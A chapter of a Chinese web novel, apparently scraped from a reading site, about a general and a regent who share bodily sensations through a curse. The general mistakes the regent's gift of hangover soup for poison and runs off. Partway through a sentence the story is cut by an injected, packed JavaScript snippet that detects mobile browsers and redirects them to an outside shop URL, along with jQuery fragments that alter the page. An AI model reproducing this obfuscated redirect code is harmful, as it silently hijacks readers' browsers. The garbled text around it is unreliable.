默认冷灰
24号文字
方正启体

15. 第 15 章

作者:琼枝玉叶本书字数:K更新时间:
    对面的陆瓒原本还醉着,被人扶到床上,刚躺下就感觉脚一阵痛意传来,他的酒气都醒了几分,只能去问了那位姑娘,莫不是受了什么伤。


    陆瓒盯着腿上没有显示出来的字,基业难守、人才凋零,她竟然还是一位女家主。陆瓒忽然生出几分敬意来。


    陆瓒:[是否工钱不足]?


    若是工钱给的不够,肯定是要另谋生路的。


    贺兰彧:[足够]


    贺兰彧恨不得把国库打开,让陆瓒钻进去挑,喜欢哪个都拿走。


    陆瓒:[是否不喜欢这份差事]


    若是人家不喜欢差事,恐怕也很难强留。


    贺兰彧:[他喜欢]


    陆瓒本来就是武夫,他不喜欢做将军,难道还想当宰相?


    陆瓒又问:[是否同行者有令他生厌之人]


    若是差事做的不开心,经常有小人捣乱,那恐怕也是要走人的。


    贺兰彧:[没有]


    陆瓒和同僚关系亲近,蔡尚待他如子如弟,甘奉和他胜似兄弟,其他人对陆瓒更是敬重。所以他死活想不明白陆瓒到底为什么要辞官返乡?


    忽然……他脑中灵感乍现。


    陆瓒感受到腿上的字后也沉默了,[此人曾当众向我表明心迹被我所拒]。


    陆瓒懂了。


    这肯定是要走的呀!


    人家表明心迹后被拒绝,一来面子可能也挂不住,二来每日朝夕面对心爱之人却不能亲近,自然心中苦闷。


    陆瓒把他的想法写在了腿上。


    对面沉默了一会儿。


    陆瓒又写[你实在无法接受他吗]?


    难道是对方丑的出奇?可他既然能令这位女家主如此挂怀,想必也是能人,肯定是长得太丑了。


    贺兰彧:[她也是女人]


    现在轮到陆瓒沉默了。


    大周民风开放,让他措手不及。


    前有贺兰彧当众言明对陆羽一见钟情,后有这位攸攸姑娘被一女子表明心迹,莫非现在龙阳和磨镜之好已经不算罕见?


    [我已有解决对策]


    对方缓缓传了几个字。


    其实陆瓒还是很好奇能有什么解决之策,但是对方没说,他也不好乱问。


    另一边的贺兰彧如梦初醒,这个人说得对!


    难怪陆瓒死活都要辞官还乡,一定是因为他今日上殿第一眼就爱上自己而无可自拔,可他又自知没有办法得到,内心伤怀,不愿再见自己一眼,所以才闹着要辞官还乡。


    难怪这么多人欲招揽陆瓒为婿,全部被陆瓒拒绝,原来是他喜欢男人!他有龙阳之好!


    全都解释通了!


    陆瓒伤心欲绝,却又无法述说心头之爱,于是在他想要将郡主许配时,陆瓒一怒之下,当众剖白心意,带着破釜沉舟之势。


    贺兰彧恍然大悟。


    陆瓒竟全是因为自己!


    既然这样……大不了他牺牲一点美色,贺兰彧这般想着又觉得心痛非凡,他为这个国家付出了太多,以身饲虎狼。


    但是陆瓒长得也不丑……


    可他毕竟是个男人……


    要不先给点甜头?


    这般想着,他忽然唤来兴安,指了指桌上御膳房刚送来的梅花糕,“你去把宫里煮的醒酒汤和这碟梅花糕拿给陆瓒陆将军,就说本王见他今日饮酒不少,特赐解酒汤。”


    “是!”


    兴安虽然狐疑,但也不敢多想,按着贺兰彧的说辞将东西带好,拎着食盒急匆匆出宫去了。


    等兴安走了,贺兰彧又开始想对面的人到底是谁?今日试探陆瓒毫无动静,也不像是甘奉和蔡尚那两个家伙,难道西北军中还有其他姓陆的将军?


    他说着又开始翻找西北军的名册,那双在他身上胡乱调戏的手到底是谁?


    他的命好苦!


    一边要勾引陆瓒。


    一边还被这妖术缠身,同人感官互换。


    那帮该死的秃驴牛鼻子,不仅没看出来他不是鬼怪缠身,也没看出来他身上的妖术,全是骗子!


    他想解决这个妖术,可又难得有人能陪他说说话,抛开那双手在他身上胡乱摸索,再抛开先前害他瘫痪数日……根本抛不开!


    他好累哦——


    他忽然觉得脚底生风,双腿疲累,这人大晚上的乱跑什么?


    然而没一会儿的功夫,手指又传来一阵刺痛,他差点儿惊叫出声,像是有尖锐的牙齿刺破皮肉,而他又死活抽不开,可他看看自己的手指却分明完好无损。


    痛感顺着指骨缝炸开,起初是针扎似的锐痛,转瞬就化作细密的灼痛,顺着血管往掌心爬,又沿着手腕往胳膊肘窜,又麻又胀,连带着整只手都开始发颤,连握笔的力气都像是被抽走了大半。


    手指好疼,感觉手指头都要被咬掉了,那厮又做了什么好事?


    他现在抛不开!


    他明日就找人收了这妖术!


    [怎么回事]


    贺兰彧的字都带上了几分怒意。


    [被老鼠咬了]


    贺兰彧都气笑了。


    很快喉咙间又是一阵腥苦难耐的药,他差点儿又吐了出去。


    熟悉的感觉,熟悉的味道。


    到底是哪家的大夫能熬出这样的药来?


    ——


    时间倒退一个时辰


    陆瓒原本还躺在床上和对面的人聊天,忽然外头陆康过来敲门。


    “将军,宫里来人,说摄政王殿下赐了您解酒汤。”


    陆瓒一个激灵就坐起来,随后就开始四下看有没有翻窗户逃走的地方。


    这种感觉太熟悉了,贺兰彧今日在殿内不好发作,现在四下无人,他要赐毒酒准备毒死自己了。


    虚伪的贺兰彧!


    陆瓒刚翻窗户出去,就见兴安公公站在窗户外面,双方大眼瞪小眼,兴安公公率先笑出了声。


    “陆将军,摄政王殿下惦记您喝多了酒,特赐了解酒汤,还叫奴才带了宫里新做的梅花糕来。”


    陆瓒狐疑地看着兴安手中的解酒汤,清澈透底,甚至还散发着淡淡的草药清香,他颤抖着手指接过解酒汤……


    来送东西的只有兴安和两个跟着的小太监,他抬眼瞧了瞧陆府四四方方的房檐,心下一沉,或许外面已经布下天罗地网了吧。


    他又回头看了一眼屋内的银枪,他一人一枪如果打出去的话,不知道胜率如何?


    “公公,我酒已经醒了,这解酒汤就不必了吧?”他讪笑一声。


    兴安笑眯眯的,“将军,这摄政王殿下代行国事,也算是半个天子,天子赐岂有拒辞的道理?”


    陆瓒吞了吞口水,再看兴安只觉得他像是黑暗里盘踞在他家的大蟒蛇,手中端着一碗绿油油的毒水,今夜就叫他下了地狱。


    贺兰彧至于嘛!


    他记得以前这家伙只是有点傲娇,脸皮还薄,远没有这么狠厉,难道人坐到高位上都会变得心狠手辣?


    呜呜呜……他从漂亮的小狐狸变成了心狠手辣的老狐狸。


    “公公,既然是殿下所赐,不敢推辞,只是我衣冠不整,容我更衣,再出来饮汤,也好彰显对殿下的尊敬。”


    他说着又翻身进去,抓起一旁的外袍披上,随后抄起一旁的银枪,最后朝兴安嗤笑一声,直接从正门翻了出去。


    却见他健步如飞,身影形似鬼魅,足尖点在一旁的石桌上借力直接飞入房檐之上,月色下衣袂翩然,银枪上的红


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370503|199876||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    绸飞舞。


    兴安反应过来人都懵了,为什么?难道陆将军不喜欢喝解酒汤?不爱喝就不爱喝呗,跑什么?


    “告诉你们殿下,等我出去,小爷我要去宫里当采花贼。”


    该死的贺兰彧。


    兔子急了还咬人,把他惹急了,他真会去宫里吓唬贺兰彧。


    他说罢一跃而下,兴安大惊。


    完了,摄政王殿下的清白不保……


    “快!快抓住他!”


    兴安也顾不上那碗解酒汤,小跑出府门,正巧这会儿宵禁,路上有金吾卫巡逻。


    “抓住他!”


    “陆将军要去宫里做采花贼。”


    “什么?”巡城的金吾卫一听,当即一群人窃窃私语起来。


    “快抓住他!”兴安又喊一声。


    陆瓒已经持枪在屋檐上不断奔走,下面的火把照亮半条街,也追着陆瓒不断奔走,直至某条街头陆瓒不得不跳下来,还没跑两步,四方追兵将他堵在街口。


    兴安跑得气喘吁吁的,上气不接下气,身后的两个小太监也俱是面如土色,但手里还捧着那碗解酒汤。


    “陆将军,何至于此啊?您要是实在爱慕摄政王殿下,也该循序渐进,这般莽撞进了宫里,该要将您当反贼抓起来了。”


    陆瓒嗤笑一声,手中银枪泛着寒光,“我看谁能拦我?”


    金吾卫早就听闻陆瓒大名,而且陛下封他为左金吾卫将军,以后陆瓒就是他们顶头上司,这会儿又见他银枪在手,一时竟也不敢上前。


    “陆将军……”兴安苦口婆心想再劝一劝。


    “我收复陇西九城,功劳苦劳俱有,他竟然……他给我送了一碗解酒汤。”陆瓒不解,就算他当堂表白,也不至于要毒杀他吧?


    “送解酒汤怎么了?”那位金吾卫也是满脸不解。


    “说明他……他……”陆瓒没直接说出来。这种事情不应该都是心知肚明的吗?难道他们都没见识过赐毒酒吗?


    兴安一拍脑门,他懂了。


    陆将军被当众拒绝,于是借酒浇愁,以酒寄情,而摄政王殿下送解酒汤,这所谓的解酒可不就是断情!


    兴安这么一解释,旁边巡城的金吾卫也明白了,陆将军对摄政王之情真是感天动地,只可惜襄王有意,神王无情。


    “此等无情无义的小人……”陆瓒骂道。


    巡城的金吾卫甚至都点了点头。


    可怜陆将军痴心错付,还要被逼着喝解酒汤。


    “将军若是不想喝的话,奴才回宫禀了殿下,不喝就不喝吧,至于进宫的事还是算了吧。”兴安说罢叫人将解酒汤撂下,随后一招手带着人散了。


    徒留陆瓒风中凌乱。


    就这么……走了?


    不是要毒死他吗?还可以不喝的吗?


    可能是对方真怕他提枪杀进宫里睡了贺兰彧,所以放弃了毒杀?


    陆瓒舒了一口气。


    父亲常说伴君如伴虎,果不其然。


    等所有人散去,陆瓒还将那碟梅花糕和解酒汤捡了回去,他从未见过这种无色无味的毒,不知道效果如何。


    他回了陆府,将那解酒汤又看了个来回,最后目光落在墙角的老鼠洞上,将解酒汤匀出来一些放在了洞口。


    果不其然,没一会儿的功夫洞口传来吱吱的声音,一只灰老鼠探出头来,瞧见洞口的碗钻进去开始喝汤。


    陆瓒等了许久没等到老鼠死,心里不禁有些诧异,莫非毒下在那盘梅花糕里?他又拿来一块梅花糕,掰开一点准备丢给老鼠。


    然而手指刚伸出去。


    那老鼠猛地窜起来,直接咬住了他的手指。


    “哎哎哎——”


    “松手。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)